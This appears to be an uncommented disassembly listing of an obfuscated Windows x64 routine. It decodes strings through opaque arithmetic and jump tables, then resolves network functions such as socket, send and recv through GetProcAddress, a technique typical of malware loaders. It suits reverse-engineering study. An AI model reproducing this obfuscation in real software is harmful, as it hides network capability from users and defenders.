lea edi, [r10 + rcx]
sub dil, 0x6c
jmp 0x14006b2a7
lea edx, [r9 - 0x7e]
movzx eax, dl
and al, r10b
mov ecx, reloc.WS2_32.dll_gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
lea rax, [r8 + rbx]
cmp rax, 0x2a
je 0x14006b764
lea rax, [r8 + 0x5a]
cmp rbx, rax
jbe 0x14006b595
lea edx, [r9 + 0x62]
movzx eax, dl
and al, r10b
mov ecx, 0x29
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x14006b2e3
sub r9b, 0x14
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x74
movzx eax, byte [rbp + r11 + 0x330]
add rax, r8
add r11, rax
inc r11
jmp 0x14006ae33
sub r9b, 0x28
movzx eax, r9b
and al, r10b
mov ecx, recv
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x14006b8fc
lea ecx, [r9 - 0x3c]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x5c
jmp 0x14006b8d0
sub r9b, 0x50
movzx eax, r9b
and al, r10b
mov ecx, 0x18
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x14006b892
sub r9b, 0x64
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x44
add rbx, r8
jmp 0x14006b892
lea edx, [r9 - 0x78]
movzx eax, dl
and al, r10b
mov ecx, 0x24
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
jmp 0x14006b734
add r9b, 0x74
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x2c
dec r11
inc r11
jmp 0x14006ae33
add r9b, 0x60
movzx eax, r9b
and al, r10b
mov ecx, 0x30
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
inc r8
dec r11
inc r11
jmp 0x14006ae33
lea ecx, [r9 + 0x4c]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x14
jmp 0x14006b82f
lea rax, [r8 + 9]
cmp rbx, rax
jae 0x14006b4b4
lea ecx, [r9 + 0xa]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x46
jmp 0x14006b32c
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x14006b4ec
sub r9b, 0x5c
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x7c
movzx eax, byte [rbp + r11 + 0x330]
add rax, r8
add r11, rax
inc r11
jmp 0x14006ae33
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x14006b512
sub r9b, 0x48
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 8
jmp 0x14006b8fc
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x14006b53e
sub r9b, 0xc
movzx eax, r9b
and al, r10b
mov ecx, 0x2a
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
add rbx, r8
jmp 0x14006b892
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x14006b562
lea ecx, [r9 + 8]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x38
jmp 0x14006b737
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x14006b32c
add r9b, 0x1c
movzx eax, r9b
and al, r10b
mov ecx, 0x1e
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
dec r11
inc r11
jmp 0x14006ae33
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x14006b5b9
lea ecx, [r9 + 0x76]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x3a
jmp 0x14006b82f
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x14006b5e5
sub r9b, 0x62
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x52
dec r11
inc r11
jmp 0x14006ae33
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x14006b60e
sub r9b, 0x3a
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x6a
add rbx, r8
jmp 0x14006b892
lea rax, [r8 + 6]
cmp rbx, rax
jne 0x14006b637
sub r9b, 0x26
movzx eax, r9b
and al, r10b
mov ecx, 5
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x14006b892
lea rax, [r8 + 9]
cmp rbx, rax
jne 0x14006b2e3
add r9b, 0x16
movzx eax, r9b
and al, r10b
mov ecx, 0x33
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
jmp 0x14006b958
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x14006b687
add r9b, 0x48
movzx eax, r9b
and al, r10b
mov ecx, 4
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
jmp 0x14006b958
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x14006b6ab
lea ecx, [r9 + 0x70]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x10
jmp 0x14006b8d0
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x14006b6d4
sub r9b, 0x7c
movzx eax, r9b
and al, r10b
mov ecx, 0x32
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x14006b892
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x14006b6f6
lea edx, [r9 - 0x54]
movzx eax, dl
and al, r10b
mov ecx, 0x26
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
jmp 0x14006b734
lea rax, [r8 + 9]
cmp rbx, rax
jne 0x14006b2a7
lea ecx, [r9 - 0x18]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x58
jmp 0x14006b82f
lea ecx, [r9 + 0x10]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x70
add dil, r10b
add r9b, 0x1a
movzx eax, r9b
and al, r10b
mov ecx, 0x25
sub cl, al
add cl, cl
add cl, r9b
add cl, dil
add cl, r10b
mov byte [rbp + r11 + 0x330], cl
add rbx, r8
jmp 0x14006b892
lea edx, [r9 + 0x24]
movzx eax, dl
and al, r10b
mov ecx, 2
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
jmp 0x14006b8d0
add r9b, 0x72
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x1e
jmp 0x14006b8fc
add r9b, 0x4a
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 6
jmp 0x14006b892
add r9b, 0x36
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x7a
add rbx, r8
jmp 0x14006b892
add r9b, 0xe
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x62
dec r11
inc r11
jmp 0x14006ae33
lea ecx, [r9 - 0x1a]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x4a
jmp 0x14006b82f
movzx r9d, r11b
lea ecx, [r9 - 0x42]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x32
add r9b, 6
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
sub r9b, 0x2a
add r9b, r10b
mov byte [rbp + r11 + 0x330], r9b
inc r8
dec r11
inc r11
jmp 0x14006ae33
lea ecx, [r11 - 0x6a]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x1a
dec r11
inc r11
jmp 0x14006ae33
lea rax, [r11 + r12]
and sil, al
add sil, sil
sub al, sil
lea edi, [r10 + rax]
sub dil, 0x76
movzx eax, dil
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r11, rcx
inc r11
jmp 0x14006ae33
movabs rax, 0x7495a4547985d246
add rax, r11
and sil, al
mov ecx, listen
sub cl, sil
lea edi, [rcx + rcx]
add dil, al
movzx r9d, r11b
add dil, r10b
add r9b, 0x2e
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
sub r9b, 0x42
add r9b, r10b
movzx eax, r9b
mov byte [rbp + r11 + 0x330], al
inc r8
add rax, r8
sub r11, rax
lea edx, [r11 + 0x38]
movzx eax, dl
and al, r10b
mov ecx, 0x3c
sub cl, al
add cl, cl
add cl, dl
add cl, r10b
mov byte [rbp + r11 + 0x330], cl
inc rbx
mov rax, 0xffffffffffffffff
sub rax, rbx
add r11, rax
movzx eax, byte [rbp + r11 + 0x330]
add rax, r8
add r11, rax
inc r11
jmp 0x14006ae33
lea rax, [r11 + r13]
and sil, al
mov ecx, reloc.WS2_32.dll_socket
sub cl, sil
lea edi, [rcx + rcx]
add dil, al
add dil, r10b
movzx eax, byte [rbp + r11 + 0x330]
add rax, r8
add r11, rax
inc r11
jmp 0x14006ae33
add r9b, 0x32
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x5e
jmp 0x14006ae30
add r9b, 0x1e
movzx eax, r9b
and al, r10b
mov ecx, reloc.WS2_32.dll_socket
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x14006ae20
lea rdx, [rbp + 0x15831e8]
jmp 0x14006b9c8
lea rdx, [rbp + 0xab4ff2]
jmp 0x14006b9c8
lea rdx, [rbp + 0x330]
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0x30], rax
mov byte [rbp + 0x360], 8
mov byte [rbp + 0x361], 0xd4
mov byte [rbp + 0x362], 0xd5
mov byte [rbp + 0x363], 0xd3
mov byte [rbp + 0x364], 0xe1
mov byte [rbp + 0x365], 0xd5
mov byte [rbp + 0x366], 0xe1
mov byte [rbp + 0x367], 0xdf
mov byte [rbp + 0x368], 0xf9
mov byte [rbp + 0x369], 0xe0
mov byte [rbp + 0x36a], 0x2d
mov byte [rbp + 0x36b], 0x2c
mov byte [rbp + 0x36c], 0x19
mov byte [rbp + 0x36d], 0x22
mov byte [rbp + 0x36e], 0x1b
mov byte [rbp + 0x36f], 0xfe
mov byte [rbp + 0x370], 0xbc
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x371], xmm0
mov qword [rbp + 0x381], rax
movabs r15, 0xeb8b7f3bed75fe76
movabs r13, 0x70d07aa37e39f53a
movabs r12, 0xc2a27db3c861fb62
movzx edi, byte [rbp + 0x410]
call fcn.140004c80
mov rbx, qword [rax]
call fcn.140004c90
mov r8, qword [rax]
nop word [rax + rax]
xor r11d, r11d
cmp r11, 0x29
jae 0x14006c5d4
movzx r10d, byte [rbp + r11 + 0x360]
mov esi, r10d
nop dword [rax]
cmp rbx, r11
ja 0x14006c5cb
lea rax, [r8 + 1]
cmp rbx, rax
jae 0x14006baec
lea rcx, [r11 + r15]
mov rax, rcx
and rax, rsi
imul rdi, rax, 0xfffffffffffffffe
add rdi, rcx
add rdi, rsi
sub dil, 0x3a
jmp 0x14006bb26
je 0x14006c556
lea rax, [r8 + 3]
cmp rbx, rax
je 0x14006c4c8
lea rax, [r8 + 7]
cmp rbx, rax
je 0x14006c4a7
lea rax, [r8 + 2]
cmp rbx, rax
je 0x14006c47f
lea rax, [r8 + 4]
cmp rbx, rax
je 0x14006c438
movzx r9d, r11b
nop word [rax + rax]
cmp r8, r11
ja 0x14006c5c2
lea rax, [r8 + 9]
cmp rbx, rax
jae 0x14006bb5e
lea edx, [r9 - 0x52]
movzx eax, dl
and al, r10b
mov ecx, 0x1f
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x14006bba0
lea rax, [r8 + 1]
cmp rbx, rax
je 0x14006c41c
lea rax, [r8 + 5]
cmp rbx, rax
je 0x14006c3eb
lea rax, [r8 + 4]
cmp rbx, rax
je 0x14006c3cc
lea rax, [r8 + 3]
cmp rbx, rax
je 0x14006c3ac
lea rax, [r8 + 8]
cmp rbx, rax
je 0x14006c37a
nop
lea rax, [r8 + rbx]
cmp rax, r11
jbe 0x14006c07c
nop dword [rax]
lea rax, [r8 + 5]
cmp rbx, rax
je 0x14006c05d
lea rax, [r8 + 0x10]
cmp rbx, rax
je 0x14006c037
lea rax, [r8 + 6]
cmp rbx, rax
je 0x14006c011
lea rax, [r8 + 0x20]
cmp rbx, rax
je 0x14006bff5
lea rax, [r8 + 0x80]
cmp rbx, rax
je 0x14006bfd2
lea rax, [r8 + 0x61]
cmp rbx, rax
je 0x14006bfb5
lea rax, [r8 + 1]
cmp rbx, rax
je 0x14006bf96
lea rax, [r8 + 8]
cmp rbx, rax
je 0x14006bbb0
lea rbx, [r8 + 0x7a]
lea r8, [rbx + 0x28]
lea rax, [r8 + 2]
cmp rbx, rax
jb 0x14006c5a2
lea rax, [r8 + 8]
cmp rbx, rax
jb 0x14006c585
lea rax, [r8 + 0x28]
cmp rbx, rax
jb 0x14006bd5d
lea rax, [r8 + 0x200]
cmp rbx, rax
jb 0x14006bd42
lea rax, [r8 + 0x40]
cmp rbx, rax
jb 0x14006bd27
lea rax, [r8 + 0x3e8]
cmp rbx, rax
jb 0x14006bf40
lea rax, [r8 + 0x41]
cmp rbx, rax
jb 0x14006bef7
lea rcx, [r8 + 3]
cmp rbx, rcx
jb 0x14006beb6
lea rax, [r8 + 9]
cmp rbx, rax
jb 0x14006be8e
mov rbx, rcx
lea r8, [rcx + 0x3e8]
lea rax, [r8 + 0x5a]
cmp rcx, rax
ja 0x14006be5f
lea rax, [r8 + 4]
cmp rcx, rax
ja 0x14006be3f
lea rax, [r8 + 0xa]
cmp rcx, rax
ja 0x14006be24
lea rax, [r8 + 0x42]
cmp rcx, rax
ja 0x14006be04
lea rax, [r8 + 0x400]
cmp rcx, rax
ja 0x14006bde4
lea rax, [r8 + 0x1000]
cmp rcx, rax
ja 0x14006bdc1
lea rcx, [r8 + 0x2a]
cmp rbx, rcx
ja 0x14006bd98
lea rax, [r8 + 5]
cmp rbx, rax
ja 0x14006bd7d
lea rax, [r8 + 0x10]
cmp rbx, rax
ja 0x14006bbb0
mov rbx, rcx
lea r8, [rcx + 0x64]
jmp 0x14006bbb0
lea ecx, [r9 + 0x12]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x7e
jmp 0x14006bba0
lea ecx, [r9 + 0x26]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0xa
jmp 0x14006bb30
add r9b, 0x3a
movzx eax, r9b
and al, r10b
mov ecx, gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x14006bac0
lea ecx, [r9 + 0x70]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x10
jmp 0x14006c452
sub r9b, 0x7c
movzx eax, r9b
and al, r10b
mov ecx, 0x32
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
inc r8
dec r11
inc r11
jmp 0x14006baa3
sub r9b, 0x68
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x28
dec r11
inc r11
jmp 0x14006baa3
sub r9b, 0x40
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x40
add rbx, r8
jmp 0x14006c403
sub r9b, 0x2c
movzx eax, r9b
and al, r10b
mov ecx, 0x1a
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x14006c403
lea ecx, [r9 - 0x18]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x58
jmp 0x14006c4e4
sub r9b, 4
movzx eax, r9b
and al, r10b
mov ecx, select
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x14006c511
add r9b, 0x10
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x70
movzx eax, byte [rbp + r11 + 0x360]
add rax, r8
add r11, rax
inc r11
jmp 0x14006baa3
sub r9b, 0x3e
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x4e
mov byte [rbp + r11 + 0x360], dil
inc r11
jmp 0x14006baa3
lea edx, [r9 - 0x2a]
movzx eax, dl
and al, r10b
mov ecx, reloc.WS2_32.dll_send
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
cmp r8, 0x10
jb 0x14006bea6
lea edx, [r9 + 4]
movzx eax, r10b
and al, dl
add al, al
movzx ecx, r10b
sub cl, al
add cl, dl
lea edi, [rcx*2 - 0x38]
jmp 0x14006c452
lea ecx, [r9 - 0x16]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x66
cmp rbx, 0x40
jae 0x14006c312
lea rcx, [r8 + 3]
cmp rbx, rcx
jbe 0x14006c238
lea edx, [r9 - 0x34]
movzx eax, r10b
and al, dl
mov ecx, gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, dl
jmp 0x14006bed0
lea edx, [r9 - 2]
movzx eax, dl
and al, r10b
mov ecx, 7
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
lea rax, [r8 + rbx]
cmp rax, 0x80
je 0x14006c358
lea rax, [r8 + 6]
cmp rbx, rax
jbe 0x14006c18e
lea edx, [r9 + 0x1e]
movzx eax, r10b
and al, dl
mov ecx, reloc.WS2_32.dll_socket
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, dl
jmp 0x14006bf0d
lea edx, [r9 + 0x3c]
movzx eax, dl
and al, r10b
mov ecx, 0x2e
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x14006c4e4
add r9b, 0x50
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
sub dil, 0x30
jmp 0x14006c403
add r9b, 0x64
movzx eax, r10b
and al, r9b
mov ecx, 0x22
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, r9b
add rbx, r8
jmp 0x14006c403
lea edx, [r9 + 0x78]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
sub dil, 0x48
jmp 0x14006c328
sub r9b, 0x74
movzx eax, r10b
and al, r9b
mov ecx, socket
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, r9b
dec r11
inc r11
jmp 0x14006baa3
sub r9b, 0x60
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
sub dil, 0x60
inc r8
dec r11
inc r11
jmp 0x14006baa3
lea edx, [r9 - 0x4c]
movzx eax, r10b
and al, dl
mov ecx, 0xa
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, dl
jmp 0x14006c452
lea rax, [r8 + 0x64]
cmp rbx, rax
jae 0x14006c0a4
lea edx, [r9 + 0x76]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
sub dil, 0x3a
add dil, dl
jmp 0x14006bf5a
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x14006c0df
add r9b, 0x5c
movzx eax, r10b
and al, r9b
mov ecx, 0x3e
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, r9b
movzx eax, byte [rbp + r11 + 0x360]
add rax, r8
add r11, rax
inc r11
jmp 0x14006baa3
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x14006c107
lea edx, [r9 + 0x34]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
sub dil, 0x6c
add dil, dl
jmp 0x14006c4e4
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x14006c130
add r9b, 0xc
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
sub dil, 0x54
add rbx, r8
jmp 0x14006c403
lea rax, [r8 + 7]
cmp rbx, rax
jne 0x14006c162
sub r9b, 0x30
movzx eax, r10b
and al, r9b
mov ecx, 0x28
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, r9b
inc r8
dec r11
inc r11
jmp 0x14006baa3
lea rax, [r8 + 6]
cmp rbx, rax
jne 0x14006bf5a
lea edx, [r9 - 0x44]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
sub dil, 0x24
add dil, dl
jmp 0x14006c452
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x14006c1b6
lea edx, [r9 + 0xa]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
sub dil, 0x46
add dil, dl
jmp 0x14006c452
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x14006c1e2
sub r9b, 0x1e
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
sub dil, 0x2e
dec r11
inc r11
jmp 0x14006baa3
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x14006c20b
sub r9b, 0x46
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
sub dil, 0x16
add rbx, r8
jmp 0x14006c403
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x14006bf0d
add r9b, 0x7e
movzx eax, r10b
and al, r9b
add al, al
movzx edi, r10b
sub dil, al
sub dil, 0x72
add dil, r9b
jmp 0x14006c511
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x14006c270
sub r9b, 0x48
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
sub dil, 8
movzx eax, byte [rbp + r11 + 0x360]
add rax, r8
add r11, rax
inc r11
jmp 0x14006baa3
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x14006c298
lea edx, [r9 - 0x70]
movzx eax, r10b
and al, dl
mov ecx, 8
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, dl
jmp 0x14006c4e4
cmp rbx, rcx
jne 0x14006c2ba
add r9b, 0x7c
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
sub dil, 0x64
jmp 0x14006c403
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x14006c2e6
add r9b, 0x68
movzx eax, r10b
and al, r9b
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, r9b
add rbx, r8
jmp 0x14006c403
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x14006bed0
lea edx, [r9 + 0x18]
movzx eax, r10b
and al, dl
mov ecx, 0x2c
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, dl
jmp 0x14006c452
lea edx, [r9 - 0x10]
movzx eax, r10b
and al, dl
movzx ecx, r10b
sub cl, al
add cl, 0x38
lea edi, [rcx + rcx]
add dil, dl
add r9b, 0x66
movzx eax, r10b
and al, r9b
mov ecx, 0x1b
sub cl, al
add cl, cl
add cl, r10b
add cl, r9b
add cl, dil
mov byte [rbp + r11 + 0x360], cl
add rbx, r8
jmp 0x14006c403
lea edx, [r9 - 0x24]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
sub dil, r10b
sub dil, 4
add dil, dl
jmp 0x14006c4e4
sub r9b, 6
movzx eax, r10b
and al, r9b
mov ecx, reloc.WS2_32.dll_setsockopt
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, r9b
movzx eax, byte [rbp + r11 + 0x360]
add rax, r8
add r11, rax
inc r11
jmp 0x14006baa3
add r9b, 0xe
movzx eax, r10b
and al, r9b
add al, al
movzx edi, r10b
sub dil, al
sub dil, 0x62
add dil, r9b
jmp 0x14006c511
lea edx, [r9 + 0x22]
movzx eax, r10b
and al, dl
mov ecx, 9
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, dl
jmp 0x14006c4e4
add r9b, 0x36
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
sub dil, 0x7a
movzx eax, dil
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r11, rcx
inc r11
jmp 0x14006baa3
lea edx, [r9 - 0x66]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
sub dil, 0x36
add dil, dl
jmp 0x14006c452
movzx r9d, r11b
lea ecx, [r9 - 0x3e]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x4e
add r9b, 0x7a
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
sub r10b, 0x56
add r10b, r9b
mov byte [rbp + r11 + 0x360], r10b
inc r8
dec r11
inc r11
jmp 0x14006baa3
lea edx, [r11 - 0x2a]
movzx eax, dl
and al, r10b
mov ecx, reloc.WS2_32.dll_send
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
inc r8
dec r11
inc r11
jmp 0x14006baa3
lea ecx, [r11 - 0x16]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x66
dec r11
inc r11
jmp 0x14006baa3
lea rcx, [r11 + r13]
and sil, cl
mov eax, gethostname
sub al, sil
lea edi, [rax + rax]
add dil, r10b
add dil, cl
movzx r9d, r11b
add r9b, 0x52
movzx eax, r10b
and al, r9b
add al, al
movzx ecx, r10b
sub cl, al
sub cl, 0x3e
add cl, r9b
movzx eax, cl
mov byte [rbp + r11 + 0x360], al
inc r8
add rax, r8
sub r11, rax
lea ecx, [r11 - 0x38]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
sub r10b, 0x78
add r10b, cl
mov byte [rbp + r11 + 0x360], r10b
inc rbx
mov rax, 0xffffffffffffffff
sub rax, rbx
add r11, rax
movzx eax, byte [rbp + r11 + 0x360]
add rax, r8
add r11, rax
inc r11
jmp 0x14006baa3
lea rcx, [r11 + r12]
and sil, cl
mov eax, 0x29
sub al, sil
lea edi, [rax + rax]
add dil, r10b
add dil, cl
movzx eax, byte [rbp + r11 + 0x360]
add rax, r8
add r11, rax
inc r11
jmp 0x14006baa3
add r9b, 0x4e
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
sub dil, 0x22
jmp 0x14006baa0
add r9b, 0x62
movzx eax, r10b
and al, r9b
mov ecx, 0x29
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, r9b
jmp 0x14006ba85
lea rdx, [rbp + 0x146faa8]
jmp 0x14006c5db
lea rdx, [rbp + 0xbcf91e]
jmp 0x14006c5db
lea rdx, [rbp + 0x360]
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0x28], rax
mov byte [rbp - 0x20], 0x9b
mov byte [rbp - 0x1f], 0xeb
mov byte [rbp - 0x1e], 0xe7
mov byte [rbp - 0x1d], 0xfa
mov byte [rbp - 0x1c], 0xd8
mov byte [rbp - 0x1b], 0xe8
mov byte [rbp - 0x1a], 0xfa
mov byte [rbp - 0x19], 0xef
mov byte [rbp - 0x18], 0xe2
mov byte [rbp - 0x17], 0xec
mov byte [rbp - 0x16], 0xf3
mov byte [rbp - 0x15], 0xef
mov byte [rbp - 0x14], 0x2c
xor eax, eax
mov word [rbp - 0x13], ax
mov byte [rbp - 0x11], al
movabs rsi, 0xbcd3561ea73530b4
movabs r15, 0xa36e0713e0deb654
movabs r12, 0x367a025bf59f921c
movzx edi, byte [rbp + 0x410]
nop dword [rax + rax]
call fcn.140004c80
mov rbx, qword [rax]
call fcn.140004c90
mov r8, qword [rax]
xor r11d, r11d
cmp r11, 0x10
jae 0x14006d0dd
movzx r10d, byte [rbp + r11 - 0x20]
mov edx, r10d
cmp rbx, r11
ja 0x14006d0d4
lea rax, [r8 + 1]
cmp rbx, rax
jae 0x14006c6a2
lea rcx, [r11 + rsi]
mov rax, rcx
and rax, rdx
imul rdi, rax, 0xfffffffffffffffe
add rdi, rcx
add rdi, rdx
add dil, 0x14
jmp 0x14006c6cf
je 0x14006d061
lea rax, [r8 + 2]
cmp rbx, rax
je 0x14006d036
lea rax, [r8 + 5]
cmp rbx, rax
je 0x14006d01b
lea rax, [r8 + 9]
cmp rbx, rax
je 0x14006cfd0
movzx r9d, r11b
cmp r8, r11
ja 0x14006d0cb
lea rax, [r8 + 0x28]
cmp rbx, rax
jae 0x14006c6fd
lea ecx, [r9 - 0x3c]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x5c
jmp 0x14006c731
lea rax, [r8 + 1]
cmp rbx, rax
je 0x14006cfb8
lea rax, [r8 + 2]
cmp rbx, rax
je 0x14006cf92
lea rax, [r8 + 3]
cmp rbx, rax
je 0x14006cf4e
lea rax, [r8 + 5]
cmp rbx, rax
je 0x14006cf31
lea rax, [r8 + rbx]
cmp rax, r11
jbe 0x14006cc71
nop
lea rax, [r8 + 3]
cmp rbx, rax
je 0x14006cc56
lea rax, [r8 + 9]
cmp rbx, rax
je 0x14006cc30
lea rax, [r8 + 0x7a]
cmp rbx, rax
je 0x14006cc0d
lea rax, [r8 + 2]
cmp rbx, rax
je 0x14006cbff
lea rcx, [r8 + 0x80]
cmp rbx, rcx
je 0x14006cbdc
lea rax, [r8 + 0x61]
cmp rbx, rax
je 0x14006cbbc
lea rax, [r8 + 0x10]
cmp rbx, rax
je 0x14006cba1
